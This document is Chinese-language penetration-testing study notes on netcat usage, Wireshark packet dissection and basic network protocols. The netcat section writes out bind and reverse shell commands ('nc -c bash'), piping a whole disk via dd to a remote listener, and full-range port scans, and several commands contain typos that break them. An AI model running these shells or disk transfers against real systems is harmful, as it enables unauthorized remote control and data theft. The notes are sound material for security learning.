渗透测试
Kali自带工具nc
Nc -h 查询nv可用的参数
Nc -n 后面接ip地址,如果后面接域名的话,不会进行域名(DNS)解析
Nc -v 查看连接过程中的详细信息
接收端
< 发送端
| 管道
Nc-----传输信息
A:Nc -l -p 333 打开333端口,并进行监听
B:Nc -nv 1.1.1.1333 连接A的333端口
Ps aus | Nc -nv 1.1.1.1 333 -q 1 连接A的kali,并将B的kali日志信息在A上显示,只连接1秒
Ls -l | nc -nv 1.1.1.1 333 在B的kali上输入,将返回的信息再A的kali上显示
Nc -l -p 333 >ps.txt 在A的kali上输入,将返回的结果保存在ps.txt上
Netstat -pantu | grep 333 查看333端口是否被打开
Nc-----传输文件/目录
传输文件
A:nc -lp 333 >1.mp4 将接收到的文件保存进1.mp4中
B:nc -nv 1.1.1.1333 < 1.mp4 -q 1 发送1.mp4到A中去,只连接1秒
或
A:nc -q 1 -lp 333 < a.mp4 打开333端口,将a.mp4先放到333端口里面,当链接建立,则直接发送
B:nc -nv 1.1.1.1333 > 2.mp4 连接建立则将收到的文件保存进2.mp4中
传输目录
A:tar -cvf -music/| nc -lp 333 -q 1 将要传输的目录打包再通过管道进行传输
B:nc -nv 1.1.1.1333 | tar -xvf - 将传输的目录接收后再进行解包
加密传文件
A:nc -lp 333 |mcrypt --flush -Fbqd -a Rijndael-256 -m ecb > 1.mp4
先开启并侦听一个端口,再对文件进行解密,然后保存进1.mp4
B:mcrypt –flush-Fbq -a Rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
先对接收的文件进行加密,再进行连接
Nc----流媒体服务
A:cat 1.mp4 | nc-lp 333
将1.mp4输入到333端口,等建立连接后直接流到B端
B:nc -nv 1.1.1.1333 | mplayer -vo x11 -cache 3000 -
先对其建立连接后,通过mplayer去播放发送端的视频,最大缓存3000字节,(接收视频端本地不会保存视频,只会实时播放发送端的视频文件)
Nc----端口扫描
Nc -nvz 1.1.1.11-65535 z表示只会扫描端口是否开放,不进行连接
Nc -vnzu 1.1.1.1 1-65535 默认只会扫描tcp端口,加u表示扫描UDP端口
Nc----远程克隆硬盘
A:nc -lp 333 | ddof=/dev/sda
先开启333端口,然后对其输入过来的硬盘数据进行保存
B:dd if=dev/sda |nc -nv 1.1.1.1 333 -q 1
先对其硬盘进行复制,然后建立连接进行传输,连接1秒后断开
Nc----远程控制
正向:
A:nc -lp 333 -cbash
开启333端口,一旦有人来连接则会将bash发送过去
B:nc 1.1.1.1 333
连接
反向:
A:nc -lp 333
开启333端口
B:nc 1.1.1.1 333 -cbash
连接对方的333端口,请求连接对方的333端口
注:windows用户把bash改为cmd
Nc---ncat
Nc缺乏加密和身份验证的能力
Ncat包含于nmap工具中
A:ncat -c bash--allow 192.168.20.14 -vnl 333 --ssl
只允许192.138.20.14连接,并且开启了333端口,同时利用了ssl进行加密
B:ncat -nv 1.1.1.1333 -ssl
去连接1.1.1.1的333端口,同时利用ssl进行加密
注意:不同系统/平台的nc参数功能不尽相同
WIRESHARK
抓包嗅探协议分析
安全专家必备的技能
抓包引擎
Libpcap9----linux
Winpcap10—Windows
解码能力
WIRESHARK----基本使用方法
启动
选择抓包网卡
混杂模式
实时抓包
保存和分析捕获文件
首选项
WIRESHARK-----筛选器
过滤掉干扰的数据包
抓包筛选器
显示筛选器
WIRESHARK-----常见的数据包
数据包的分层结构
Frame:物理层的数据帧概况
Frame 17357: 1394 bytes on wire (11152 bits), 1394 bytes captured (11152 bits) on interface 0
//5号帧,线路1394字节,实际捕获1394字节
Interface id: 0 (\Device\NPF_{80A557A7-2C2C-4948-B785-5F2EF0F059C8}) //接口id
Encapsulation type: Ethernet (1) //封装类型
Arrival Time: Oct 15, 2015 13:36:19.637281000 中国标准时间 //捕获时期和时间
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1444887379.637281000 seconds
[Time delta from previous captured frame: 0.000125000 seconds] //此包与前一包的时间间隔
[Time delta from previous displayed frame: 0.000125000 seconds] //此包与第一帧的时间间隔
[Time since reference or first frame: 161.257111000 seconds]
Frame Number: 17357 //帧序号,第17357帧
Frame Length: 1394 bytes (11152 bits) //帧长度
Capture Length: 1394 bytes (11152 bits) //捕获的帧长度
[Frame is marked: False] //此帧是否做了标记:否
[Frame is ignored: False] //此帧是否被忽略:否
[Protocols in frame: eth:ethertype:ip:tcp:http] //此帧内封装的协议层次结构
[Number of per-protocol-data: 1]
[Hypertext Transfer Protocol, key 0]
[Coloring Rule Name: HTTP] //着色标记的协议名称
[Coloring Rule String: http || tcp.port == 80 || http2] //着色规则显示的字符串
Ethernet II: 数据链路层以太网头部帧
Ethernet II, Src: HuaweiTe_a1:89:63 (4c:1f:cc:a1:89:63), Dst: CompalIn_22:31:d0 (f0:76:1c:22:31:d0)
Destination: CompalIn_22:31:d0 (f0:76:1c:22:31:d0) //目标MAC地址
Source: HuaweiTe_a1:89:63 (4c:1f:cc:a1:89:63) //源MAC地址
Type: IP (0x0800)
Internet ProtocolVersion 4:互联网层IP包头的信息
Internet Protocol Version 4, Src: 183.61.51.166 (183.61.51.166), Dst: 10.7.132.246 (10.7.132.246)
Version: 4 //互联网协议IPv4
Header Length: 20 bytes //IP包头部长度
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))
//差分服务字段
Total Length: 754 //IP包的总长度
Identification: 0xa18e (41358) //标志字段
Flags: 0x02 (Don't Fragment) //标记字段
Fragment offset: 0 //分的偏移量
Time to live: 56 //生存期TTL
Protocol: TCP (6) //此包内封装的上层协议为TCP
Header checksum: 0x2497 [validation disabled] //头部数据的校验和
Source: 183.61.51.166 (183.61.51.166) //来源IP地址
Destination: 10.7.132.246 (10.7.132.246) //目标IP地址
Transmission ControlProtocol:传输层的数据段头部信息,此处是TCP协议。
Transmission Control Protocol, Src Port: 80 (80), Dst Port: 50362 (50362), Seq: 1025, Ack: 447, Len: 714
Source Port: 80 (80) //源端口号
Destination Port: 50362 (50362) //目标端口号
Sequence number: 1025 (relative sequence number) //序列号(相对序列号)
[Next sequence number: 1739 (relative sequence number)] //下一个序列号
Acknowledgment number: 447 (relative ack number) //确认序列号
Header Length: 20 bytes //头部长度
.... 0000 0001 1000 = Flags: 0x018 (PSH, ACK) //TCP标记长度
Window size value: 5896 //流量控制的窗口大小
Checksum: 0x915b [validation disabled] //TCP数据段的校验和
Hypertext TransferProtocol:应用层的信息,此处是HTTP协议
Arp(地址解析协议)
局域网通信使用的是mac地址
ARP协议用来解析目标主机MAC地址
ARP协议只在同一个广播域生效
ARP攻击的原理是伪造ARP应答
Icmp(互联网控制报文协议—常见的有ping之类的)
是一种面向无连接的协议,用于传输出错报告控制信息
Tcp(传输控制协议----三次握手,四次挥手)
是一种面向连接的、可靠的、基于字节流的传输层通信协议,
三次握手
第一步:SYN
第二步:SYN、ACK
第三步:ACK
四次挥手
第一步:Fin、ACK
第二步:ACK 由同一方发送
第三步:Fin、ACK 由同一方发送
第四步:ACK
Udp(用户数据报协议)
是一种无需建立连接就可以发送封装的ip数据包的方法
一般用于音频、视频、普通数据的传输
Udp虽然没有可靠性的保证、顺序保证何流量控制字段等这些功能,但也是因为这些,所以在流量传输过程中延迟小、传输效率搞、比较适合可靠性要求不高的应用程序或者可以保证可靠性的应用程序
Dns(域名解析协议)
http(超文本传输协议)
HTTP就是计算机网络进行通信的规则,是一个基于请求与响应,无状态的,应用层的协议
基于TCP/IP协议默写来传输信息的
TCP三次握手(为了防止已失效的的连接请求报文段突然有传送到了服务端,因而产生错误)
第一步:SYN
第二步:SYN、ACK
第三步:ACK
ftp(文件传输协议)
是用于在网络上尽心文件传输的一套标准协议,工作在应用层,使用TCP协议进行传输